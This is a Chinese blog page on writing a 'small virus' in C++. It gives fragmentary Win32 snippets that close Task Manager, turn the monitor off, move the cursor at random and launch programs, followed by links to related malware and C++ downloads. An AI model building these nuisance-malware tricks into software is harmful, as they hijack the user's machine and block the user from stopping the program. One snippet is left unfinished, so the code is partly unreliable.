`

C++写小型病毒 -_-

 
阅读更多


1. 建立线程运行其他可执行文件

2.关闭任务管理器或者其他窗口

3.ShellExecute的用法

4.打开关闭显示器

5.使鼠标乱跑

1. 建立一个线程 ( CreateThread() )

DWORD WINAPI DestroyWindows(LPVOID)

{

//your code would go here

}

int main()

{

CreateThread(
NULL,0,(LPTHREAD_START_ROUTINE)&DestroyWindows,0,0,NULL);

while(1)

{

Sleep(10);

}

}

2. 关闭任务管理器或者其他窗口

TaskMgr=FindWindow(NULL,"Windows Task Manager");

if( TaskMgr!=NULL)

{

PostMessage( TaskMgr
,WM_CLOSE,(LPARAM)0,(WPARAM)0);

}

程序发出关闭任务管理器的的消息,并不等待继续执行下面的代码

3. ShellExcute

char Notepad[MAX_PATH]="notepad.exe";

ShellExecute(
NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);

打开记事本。也可以通过以下代码打开google.

char Website[MAX_PATH]="http:\\www.google.com

4. 打开关闭显示器

SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,(LPARAM)2);

Sleep(5000);

SendMessage(HWND_BROADCAST
,WM_SYSCOMMAND,SC_MONITORPOWER,(LPARAM)-1);

5. 鼠标乱跑

X=rand()%801;

Y
=rand()%601;

SetCursorPos( X
,Y );
分享到:
评论

相关推荐

    ncc.rar_NCC_ncc c++_流量 分析_网络流量

    标题中的“ncc.rar_NCC_ncc c++_流量 分析_网络流量”指的是一个名为“ncc”的网络流量分析工具,它是由C++编程语言编写的。这个工具主要用于监测和解析网络数据流,帮助用户了解网络上的数据传输情况。 在描述中...

    黑客C++计算机破坏

    【标题】"黑客C++计算机破坏"涉及到的关键知识点主要集中在恶意软件编程、C++语言基础、注册表操作以及计算机安全方面。以下是对这些知识点的详细解释: 1. **C++编程**:C++是一种强大的面向对象编程语言,常用于...

    DrDeng.zip_Visual_C++_

    "DrDeng.zip_Visual_C++_"这个标题暗示了一个基于Visual C++编程语言开发的项目,很可能是一个小型的游戏应用,旨在教育人们了解巴西常见疾病——登革热。Visual C++是一种强大的集成开发环境(IDE),它由微软公司...

    2021-2022计算机二级等级考试试题及答案No.10535.docx

    - **特点**:这种计算机相比前几代计算机更小型化、集成度更高、性能更强。 ### 8. 计算机处理的数据类型 - **数值型数据**:表示具体的数值信息,如整数、实数等,用于计算和统计。 ### 9. 在HTML中嵌入...

    Simple-Virus:简单的病毒! 我对您的使用方式概不负责! 仅用于教育目的

    病毒开发者可能会利用C++的特性来创建小型、快速并且难以检测的程序。 在【压缩包子文件的文件名称列表】中,“Simple-Virus-master”可能是项目源代码的主目录,通常包含项目的源代码文件、构建脚本、说明文档等...

    mp3小型播放器.e.rar

    【标题】"mp3小型播放器.e.rar"指的是一个压缩文件,其主要包含了一个或多个与mp3小型播放器相关的组件或数据。rar是一种常见的压缩文件格式,它用于将多个文件打包成一个单一的文件,便于存储、传输和分发。 ...

    VC++ 2010安装包-hq.zip

    该版本面向初学者和小型开发团队,提供免费下载,是开发者学习C++编程的重要工具。 **安装教程的重要性:** 安装教程对于初次接触VC++ 2010的用户来说至关重要,因为它可以指导用户避免安装过程中可能出现的问题,...

    2021-2022计算机二级等级考试试题及答案No.4819.docx

    - **应用场景**: 适用于中小型企业级应用,特别是对于那些需要快速开发简单应用程序的场景。 ### 7. 数据库系统中的数据关系 - **知识点**: 数据库系统中的数据项和记录之间存在着多种联系。 - **应用场景**: 在...

    Jan Axelson - USB Mass Storage

    - **高容量**:USB大存储设备通常提供比其他小型存储介质更高的存储容量。 - **兼容性广泛**:大多数现代计算机和许多嵌入式系统都支持USB接口,使得这些存储设备非常方便使用。 - **可靠性**:随着技术的进步,USB...

    2021-2022计算机二级等级考试试题及答案No.11474.docx

    - Access是一种关系型数据库管理系统,适用于构建小型数据库应用系统。 **知识点14:** **MIDI与WAV文件格式** - MIDI(Musical Instrument Digital Interface)和WAV(Waveform Audio File Format)是两种常见的...

    北京匡恩网络科技有限责任公司笔试题_嵌入式-常用知识&面试题库_大厂面试真题.rar

    微控制器集成了CPU、内存、外设接口,常用于小型设备。了解不同类型的处理器架构(如ARM、MIPS、x86)以及它们的性能特点、功耗和适用场景至关重要。 三、操作系统 嵌入式系统中常用的操作系统有RTOS(实时操作系统...

    jincheng.rar_进程查看

    这个工具可能是一个小型的实用程序,旨在帮助用户了解计算机上正在执行哪些进程,以便进行性能监控、调试或者安全检查。在Windows操作系统中,进程是系统资源分配的基本单位,每个应用程序或系统服务都会表现为一个...

    将bat文件转换成exe文件

    - **使用工具**:市场上存在许多免费或付费的转换工具,例如`bat2exe`,这是一个小型的转换器,可以从BAT文件生成EXE文件。操作步骤通常包括选择BAT文件、设置输出选项(如32位或64位、图标等),然后点击转换。 3...

    文件夹比较软件--可用于比较文件夹在不同时间下作的改变

    这里,数据库选择的是Microsoft Access,它是一个用户友好的关系型数据库,适用于小型到中型企业级应用。通过ODBC,软件可以记录和存储文件夹比较的结果,方便后续查询和分析。 标签中的“辅助病毒查杀”表明,此...

    malware-links-parser.zip_单片机开发_C#_

    单片机(Microcontroller)是一种集成了CPU、内存、输入/输出接口等组件的小型计算机芯片。它们广泛应用于各种嵌入式系统,如家电、汽车电子、医疗设备和工业自动化等。在单片机开发中,程序员需要了解硬件电路设计...

    LiteSQL2014-Release

    1. **轻量级**:由于其小巧的体积和低资源消耗,LiteSQL非常适合小型项目或嵌入式应用。它能够在有限的硬件资源下高效运行,不会对主机系统造成过大负担。 2. **跨平台**:作为一个开源项目,LiteSQL支持多种操作...

    信息学奥赛培训_计算机基础

    - **按传染对象**:操作系统病毒和文件携带型病毒。 **3. 防治** - **防范措施**:不使用软盘启动计算机;不运行来源不明的软件;定期备份重要数据;使用防病毒软件检测和清除病毒。 综上所述,计算机的基础知识...

    大学生计算机基础\计算机期末考试复习题

    - **高级语言**:更接近人类自然语言的编程语言,如C++、Java等。 #### 九、显示器分辨率 - 显示器分辨率是指屏幕上可以显示的像素数量,常见的分辨率包括640×480、800×600、1024×768等。 #### 十、打印技术 ...

    计算机二级考试-全部选择题-答案及解答.docx

    * 计算机语言:如Java、C++、Python等。 计算机网络 * 局域网(LAN):小型的计算机网络,连接多个计算机。 * 广域网(WAN):大型的计算机网络,连接多个局域网。 * 互联网(Internet):全球最大的计算机网络。 ...

    codelite安装

    总的来说,Codelite是一个功能齐全、易于上手的C++ IDE,特别适合初学者和小型项目开发。其与mingw4.8.1的集成使得在Windows平台上开发C++应用变得简单而高效。通过以上步骤,你应该能够成功安装并开始使用Codelite...

Global site tag (gtag.js) - Google Analytics